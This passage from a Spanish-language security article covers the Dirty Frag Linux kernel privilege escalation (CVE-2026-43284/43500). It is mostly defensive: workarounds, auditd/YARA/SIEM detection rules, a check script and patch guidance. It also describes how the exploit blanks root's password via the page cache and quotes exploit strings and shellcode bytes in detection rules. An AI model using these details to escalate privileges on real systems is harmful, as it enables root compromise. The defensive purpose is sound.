  6. Stage 4: ejecuta su que ahora otorga root sin password

Diferencias con Copy Fail

AspectoCopy Fail (CVE-2026-31431)Dirty Frag (CVE-2026-43284/43500)
LenguajePython (732 bytes)C (~1400 lineas)
DependenciasNinguna (stdlib)gcc, libutil
Subsistemacrypto (algif_aead)xfrm (IPsec) + RxRPC
TargetSobreescribe /usr/bin/su con shellcode ELFModifica /etc/passwd (elimina password root)
Mecanismosplice() sobre socket AF_ALGESP fragmentado + RxRPC page cache
ComplejidadTrivialMedia (brute force fcrypt ~1-45s)
Kernels4.14 - 6.19.116.8+ hasta < 6.14.4 / < 6.13.12
Ubuntu AppArmorNo afectadoPath xfrm bloqueado, RxRPC funciona
PersistenciaSolo page cache (reboot limpia)Page cache (puede sincronizarse a disco)

Limpiar despues de la prueba

La modificacion esta en el page cache. Para limpiar sin destruir la VM:

BASH
# Como root, descartar page cache (restaura /etc/passwd desde disco)
echo 3 > /proc/sys/vm/drop_caches

Si los cambios se sincronizaron a disco, restaurar el fichero:

BASH
# Restaurar /etc/passwd original
# Opcion 1: editar manualmente
sed -i 's/^root::.*/root:x:0:0:root:\/root:\/bin\/bash/' /etc/passwd

# Opcion 2: destruir y recrear la VM
vagrant destroy -f && vagrant up

Workarounds para entornos que no pueden parchear

Workaround 1: Deshabilitar modulos esp4, esp6 y rxrpc

El workaround oficial recomendado por el autor del exploit. Deshabilita los modulos que hacen posible la cadena:

BASH
# Mitigacion one-liner del README oficial
sh -c "printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' > /etc/modprobe.d/dirtyfrag.conf; rmmod esp4 esp6 rxrpc 2>/dev/null; echo 3 > /proc/sys/vm/drop_caches; true"

Desglosado:

BASH
# 1. Bloquear carga de los modulos
cat > /etc/modprobe.d/dirtyfrag.conf << 'EOF'
# CVE-2026-43284 + CVE-2026-43500 (Dirty Frag) mitigation
install esp4 /bin/false
install esp6 /bin/false
install rxrpc /bin/false
EOF

# 2. Descargar los modulos si estan cargados
rmmod esp4 esp6 rxrpc 2>/dev/null

# 3. Limpiar page cache por si ya fue explotado
echo 3 > /proc/sys/vm/drop_caches

# 4. Verificar
lsmod | grep -E "esp|rxrpc"
# (sin output = modulos descargados)

Que rompe esto:

  • Afecta a: IPsec (libreswan, strongSwan), AFS (OpenAFS)
  • No afecta a: WireGuard, OpenVPN, SSH, TLS/SSL, firewalls (iptables/nftables)
  • Como verificar impacto: ip xfrm state list (si hay SAs activas, hay IPsec en uso)

Workaround 2: Quitar CAP_NET_ADMIN en containers

El path xfrm-ESP necesita CAP_NET_ADMIN. Quitarlo previene ese vector (el path RxRPC no lo necesita, pero si rxrpc.ko no esta cargado en el host, este workaround es suficiente):

BASH
# Docker
docker run --cap-drop=NET_ADMIN myimage

# Kubernetes
apiVersion: v1
kind: Pod
spec:
  containers:
    - name: app
      securityContext:
        capabilities:
          drop: ["NET_ADMIN"]

Para bloquear completamente Dirty Frag en containers, combinar con la deshabilitacion de modulos en el host.

Workaround 3: Regla de auditoria

BASH
# /etc/audit/rules.d/dirty-frag.rules

# Detectar creacion de sockets AF_RXRPC (familia 33)
-a always,exit -F arch=b64 -S socket -F a0=33 -k dirty_frag_rxrpc

# Detectar carga de modulos vulnerables
-a always,exit -F arch=b64 -S init_module -S finit_module -k dirty_frag_modload

# Detectar acceso a /etc/passwd por usuario no-root (lectura para page cache)
-a always,exit -F arch=b64 -S open -S openat -F path=/etc/passwd -F perm=r -F auid>=1000 -k dirty_frag_passwd_read

Cargar las reglas:

BASH
augenrules --load

Verificar que el workaround funciona

Despues de aplicar el workaround 1:

BASH
su - attacker
cd dirtyfrag && ./exp
# dirtyfrag: failed (rc=1)
# El exploit no puede cargar rxrpc ni crear SAs xfrm

Deteccion del ataque

Dirty Frag deja mas rastro que Copy Fail: crea sockets UDP en puertos 7779+, sockets AF_RXRPC, y modifica /etc/passwd. Pero por defecto estos eventos no se auditan.

Regla auditd

BASH
# /etc/audit/rules.d/dirty-frag.rules

# Detectar creacion de sockets AF_RXRPC (familia 33)
-a always,exit -F arch=b64 -S socket -F a0=33 -k dirty_frag_rxrpc

# Detectar bind en puertos altos UDP (7779-7900, usados por el exploit)
-a always,exit -F arch=b64 -S bind -k dirty_frag_bind

# Detectar carga de modulos vulnerables
-a always,exit -F arch=b64 -S init_module -S finit_module -k dirty_frag_modload

# Detectar modificacion de /etc/passwd
-w /etc/passwd -p wa -k dirty_frag_passwd_modify

# Detectar lectura de /etc/passwd por no-root (mmap para page cache attack)
-a always,exit -F arch=b64 -S open -S openat -F path=/etc/passwd -F perm=r -F auid>=1000 -k dirty_frag_passwd_read
BASH
augenrules --load
ausearch -k dirty_frag_rxrpc -ts recent

Regla YARA: detectar el exploit en disco o memoria

YARA
rule DirtyFrag_CVE_2026_43284_43500 {
    meta:
        description = "Detecta el exploit Dirty Frag (CVE-2026-43284 + CVE-2026-43500)"
        author = "Red Orbita"
        date = "2026-05-17"
        cve = "CVE-2026-43284,CVE-2026-43500"
        severity = "critical"

    strings:
        // Strings del exploit compilado
        $s1 = "dirtyfrag: failed" ascii
        $s2 = "rxrpc/rxkad LPE EXPLOIT" ascii
        $s3 = "XFRM_MSG_NEWSA" ascii
        $s4 = "dirty_frag_xfrm" ascii
        $s5 = "page-cache patched" ascii

        // Patron de la busqueda de claves fcrypt
        $s6 = "search K_A" ascii
        $s7 = "kernel trigger" ascii

        // Nombre del source
        $s8 = "dirtyfrag" ascii nocase

        // Socket AF_RXRPC (familia 33 = 0x21)
        $rxrpc_family = { 21 00 00 00 }

        // Shellcode setuid(0) + execve (path xfrm-ESP)
        $shellcode_setuid = { 48 31 ff b0 69 0f 05 }

    condition:
        ($s1 and $s2) or
        ($s3 and $s5) or
        ($s6 and $s7) or
        ($shellcode_setuid and $s8) or
        (4 of ($s*))
}

rule DirtyFrag_Passwd_Tampered {
    meta:
        description = "Detecta /etc/passwd modificado por Dirty Frag (root sin password)"
        author = "Red Orbita"
        date = "2026-05-17"
        severity = "critical"

    strings:
        // root con campo password vacio (root::0:0:)
        $tampered = /root::[0-9]+:[0-9]+:/ ascii

    condition:
        $tampered
}

Escanear:

BASH
# Escanear directorios de usuarios
yara -r dirty_frag.yar /home/ /tmp/ /var/tmp/ /dev/shm/

# Verificar si /etc/passwd fue modificado
yara dirty_frag.yar /etc/passwd

# Escanear procesos en memoria
yara -p 4 dirty_frag.yar /proc/*/exe 2>/dev/null

Reglas Wazuh: alerta en tiempo real

Anadir en /var/ossec/etc/rules/local_rules.xml:

XML
<group name="dirty_frag,exploit,cve-2026-43284">

  <!-- Deteccion de socket AF_RXRPC via auditd -->
  <rule id="100510" level="14">
    <if_sid>80700</if_sid>
    <field name="audit.key">dirty_frag_rxrpc</field>
    <description>CVE-2026-43284: Socket AF_RXRPC creado (posible Dirty Frag)</description>
    <mitre>
      <id>T1068</id>
    </mitre>
    <group>exploit_attempt,</group>
  </rule>

  <!-- Deteccion de carga de modulos vulnerables -->
  <rule id="100511" level="10">
    <if_sid>80700</if_sid>
    <field name="audit.key">dirty_frag_modload</field>
    <description>CVE-2026-43284: Carga de modulo esp4/rxrpc detectada</description>
    <mitre>
      <id>T1068</id>
    </mitre>
    <group>exploit_attempt,</group>
  </rule>

  <!-- Modificacion de /etc/passwd -->
  <rule id="100512" level="15">
    <if_sid>550</if_sid>
    <match>/etc/passwd</match>
    <description>CVE-2026-43284: Modificacion de /etc/passwd detectada (posible Dirty Frag)</description>
    <mitre>
      <id>T1068</id>
      <id>T1548.001</id>
    </mitre>
    <group>exploit_attempt,attack,</group>
  </rule>

  <!-- Correlacion: AF_RXRPC + passwd en menos de 10 segundos -->
  <rule id="100513" level="15" frequency="2" timeframe="10">
    <if_matched_sid>100510</if_matched_sid>
    <same_source_ip/>
    <description>CVE-2026-43284: Explotacion Dirty Frag en curso (AF_RXRPC + passwd correlados)</description>
    <mitre>
      <id>T1068</id>
      <id>T1548.001</id>
    </mitre>
    <group>exploit_attempt,attack,</group>
  </rule>

  <!-- Post-explotacion: login root sin password -->
  <rule id="100514" level="14">
    <if_sid>5303</if_sid>
    <match>session opened for user root</match>
    <description>CVE-2026-43284: Sesion root abierta (posible post-explotacion Dirty Frag)</description>
    <mitre>
      <id>T1548.001</id>
    </mitre>
    <group>privilege_escalation,</group>
  </rule>

</group>

Reiniciar Wazuh:

BASH
systemctl restart wazuh-manager

Elastic Security (ELK/SIEM)

Regla de deteccion EQL para Auditbeat:

JSON
{
  "rule": {
    "name": "CVE-2026-43284 Dirty Frag - AF_RXRPC Socket Creation",
    "description": "Detecta creacion de sockets AF_RXRPC (familia 33) que pueden indicar explotacion de Dirty Frag",
    "severity": "critical",
    "risk_score": 90,
    "type": "eql",
    "query": "process where event.action == \"socket\" and auditd.data.a0 == \"21\"",
    "threat": [
      {
        "framework": "MITRE ATT&CK",
        "tactic": {
          "id": "TA0004",
          "name": "Privilege Escalation"
        },
        "technique": [
          {
            "id": "T1068",
            "name": "Exploitation for Privilege Escalation"
          }
        ]
      }
    ],
    "tags": ["CVE-2026-43284", "CVE-2026-43500", "Dirty Frag", "LPE", "Linux"]
  }
}

Queries KQL para Kibana:

CODE
# Buscar creacion de sockets AF_RXRPC (familia 33 = 0x21)
auditd.data.syscall: "socket" AND auditd.data.a0: "21"

# Buscar modificaciones a /etc/passwd
auditd.data.key: "dirty_frag_passwd_modify"

# Todas las alertas de dirty frag
auditd.data.key: dirty_frag_*

# FIM: /etc/passwd modificado
file.path: "/etc/passwd" AND event.action: "updated"

Splunk

SPL
| Deteccion principal: socket AF_RXRPC (familia 33)
index=linux sourcetype=linux:audit syscall=socket a0=21
| stats count by host, auid, exe, _time
| where auid >= 1000
| sort -_time

| Correlacion: AF_RXRPC + acceso a /etc/passwd
index=linux sourcetype=linux:audit (key="dirty_frag_rxrpc") OR (key="dirty_frag_passwd_read")
| transaction host auid maxspan=30s
| where eventcount >= 2
| table _time, host, auid, exe, key

| Deteccion de /etc/passwd modificado
index=linux sourcetype=linux:audit key="dirty_frag_passwd_modify"
| stats count by host, auid, _time

| Deteccion post-explotacion: root login sin password
index=linux sourcetype=syslog "session opened for user root"
| stats count by host, src, _time

Alerta recomendada:

SPL
| Alerta: posible explotacion Dirty Frag
index=linux sourcetype=linux:audit key="dirty_frag_rxrpc"
| stats count as attempts by host, auid, exe
| where attempts >= 1
| eval severity="critical"
| eval description="CVE-2026-43284: Posible explotacion Dirty Frag detectada"

IBM QRadar

Rule 1: Socket AF_RXRPC

CODE
Rule Name: CVE-2026-43284 Dirty Frag - AF_RXRPC Socket
Rule Type: Event
Log Source Type: Linux OS
Event Category: Audit
Condition:
  when the event matches ALL of the following:
    - Event Name contains "SYSCALL"
    - AND UTF8(Payload) contains "syscall=41" (socket)
    - AND UTF8(Payload) contains "a0=21" (AF_RXRPC)
    - AND UTF8(Payload) MATCHES "auid=[1-9][0-9]{3,}"
Action: Dispatch New Offense
Severity: 9 (Critical)
MITRE: T1068

Rule 2: Correlacion

CODE
Rule Name: CVE-2026-43284 Dirty Frag - Exploitation Chain
Rule Type: Event (Sequence)
Log Source Type: Linux OS
Sequence:
  1. Event contains "a0=21" (AF_RXRPC socket)
  2. FOLLOWED BY Event contains "/etc/passwd" within 30 seconds
  3. FROM same Source IP AND same Username
Action: Dispatch High Offense
Severity: 10 (Maximum)
MITRE: T1068, T1548.001

Rule 3: /etc/passwd modificado

CODE
Rule Name: CVE-2026-43284 Dirty Frag - Passwd Tampered
Rule Type: Event
Condition:
  - Event contains file integrity change for /etc/passwd
  - AND Content matches "root::" (empty password field)
Action: Dispatch Critical Offense
Severity: 10 (Maximum)

Script de deteccion rapida

BASH
#!/bin/bash
# check_dirty_frag.sh - Verificar estado de CVE-2026-43284 + CVE-2026-43500

echo "=== CVE-2026-43284 + CVE-2026-43500 Dirty Frag - Check ==="
echo ""

# 1. Verificar si los modulos estan cargados
VULN=0
for mod in esp4 esp6 rxrpc; do
    if lsmod | grep -q "^$mod"; then
        echo "[VULNERABLE] Modulo $mod cargado"
        VULN=1
    else
        echo "[OK] Modulo $mod NO cargado"
    fi
done

# 2. Verificar version del kernel
KERNEL=$(uname -r)
echo ""
echo "[INFO] Kernel: $KERNEL"

# 3. Verificar si /etc/passwd ha sido modificado (root sin password)
echo ""
echo "Verificando integridad de /etc/passwd..."
ROOT_LINE=$(head -1 /etc/passwd)
if echo "$ROOT_LINE" | grep -q "^root::"; then
    echo "  [CRITICO] /etc/passwd: root tiene password VACIA - SISTEMA COMPROMETIDO"
    echo "  Linea: $ROOT_LINE"
    VULN=2
elif echo "$ROOT_LINE" | grep -q "^root:x:"; then
    echo "  [OK] /etc/passwd: root tiene password hash normal"
else
    echo "  [SOSPECHOSO] /etc/passwd: formato inusual: $ROOT_LINE"
fi

# 4. Buscar el exploit en el sistema
echo ""
echo "Buscando indicadores de compromiso..."
FOUND=0

for dir in /home /tmp /var/tmp /dev/shm; do
    if find "$dir" -name "exp" -o -name "exp.c" -o -name "dirtyfrag" 2>/dev/null | grep -q .; then
        find "$dir" \( -name "exp" -o -name "exp.c" -o -name "dirtyfrag" \) 2>/dev/null | while read f; do
            echo "  [ALERTA] Posible exploit encontrado: $f"
        done
        FOUND=1
    fi
done

# 5. Buscar sockets AF_RXRPC activos
if ss -xa 2>/dev/null | grep -q rxrpc; then
    echo "  [ALERTA] Sockets AF_RXRPC activos detectados"
    FOUND=1
fi

echo ""
if [ $VULN -eq 2 ]; then
    echo "[CRITICO] Sistema comprometido - /etc/passwd modificado"
    echo "          Accion inmediata:"
    echo "            1. sed -i 's/^root::/root:x:/' /etc/passwd"
    echo "            2. echo 3 > /proc/sys/vm/drop_caches"
    echo "            3. Analisis forense completo"
elif [ $VULN -eq 1 ]; then
    echo "[VULNERABLE] Modulos vulnerables cargados - aplicar workaround:"
    echo "  sh -c \"printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' > /etc/modprobe.d/dirtyfrag.conf; rmmod esp4 esp6 rxrpc 2>/dev/null; echo 3 > /proc/sys/vm/drop_caches\""
else
    echo "[OK] Sistema no vulnerable a Dirty Frag"
fi

Solucion definitiva: actualizar el kernel

Los parches se encuentran en:

  • CVE-2026-43284: commit f4c50a4034e6 - corrige manejo de fragmentos ESP en page cache
  • CVE-2026-43500: commit aa54b1d27fe0 - corrige reutilizacion de paginas en RxRPC

Ubuntu

BASH
sudo apt update && sudo apt upgrade -y linux-image-generic
sudo reboot

RHEL/Rocky/Alma

BASH
sudo dnf update kernel -y
sudo reboot

Fedora

BASH
sudo dnf update kernel -y
sudo reboot

Verificar el parche

BASH
uname -r
# Debe ser >= 6.8.0-xx con backport del fix

# Verificar que el exploit ya no funciona
su - attacker
cd dirtyfrag && ./exp
# dirtyfrag: failed (rc=4)
# El page cache no se modifica en kernel parcheado

Plan de respuesta recomendado

PrioridadAccionTiempo
InmediataVerificar /etc/passwd no tiene root:: (sin password)< 15 min
InmediataAplicar workaround 1 (rmmod esp4 esp6 rxrpc + drop_caches)< 1 hora
InmediataDesplegar reglas de auditoria (workaround 3)< 1 hora
24hQuitar CAP_NET_ADMIN en todos los containers< 24h
72hPlanificar ventana de parche para hosts criticos< 72h
1 semanaActualizar kernel en todos los sistemas< 7 dias
Post-parcheEliminar workarounds y verificarTras reboot

Conclusiones

Dirty Frag (CVE-2026-43284 + CVE-2026-43500) es una LPE seria que demuestra como la combinacion de dos bugs en subsistemas de red del kernel puede resultar en escritura arbitraria sobre el page cache. Comparada con Copy Fail:

  • Mas compleja: requiere compilacion en C, brute force de claves fcrypt (~1-45 segundos)
  • Dos paths de ataque: xfrm-ESP (sin AppArmor) y RxRPC (con AppArmor), cubriendo todas las distros principales
  • Modifica /etc/passwd: mas detectable que Copy Fail (que solo toca page cache de /usr/bin/su)
  • Mitigacion sencilla: rmmod esp4 esp6 rxrpc no afecta a la mayoria de servidores (solo IPsec y AFS)

Para entornos sin IPsec ni AFS, deshabilitar los modulos esp4, esp6 y rxrpc es la mitigacion inmediata mas efectiva. Verificar siempre que /etc/passwd no haya sido modificado.

Referencias

Comentarios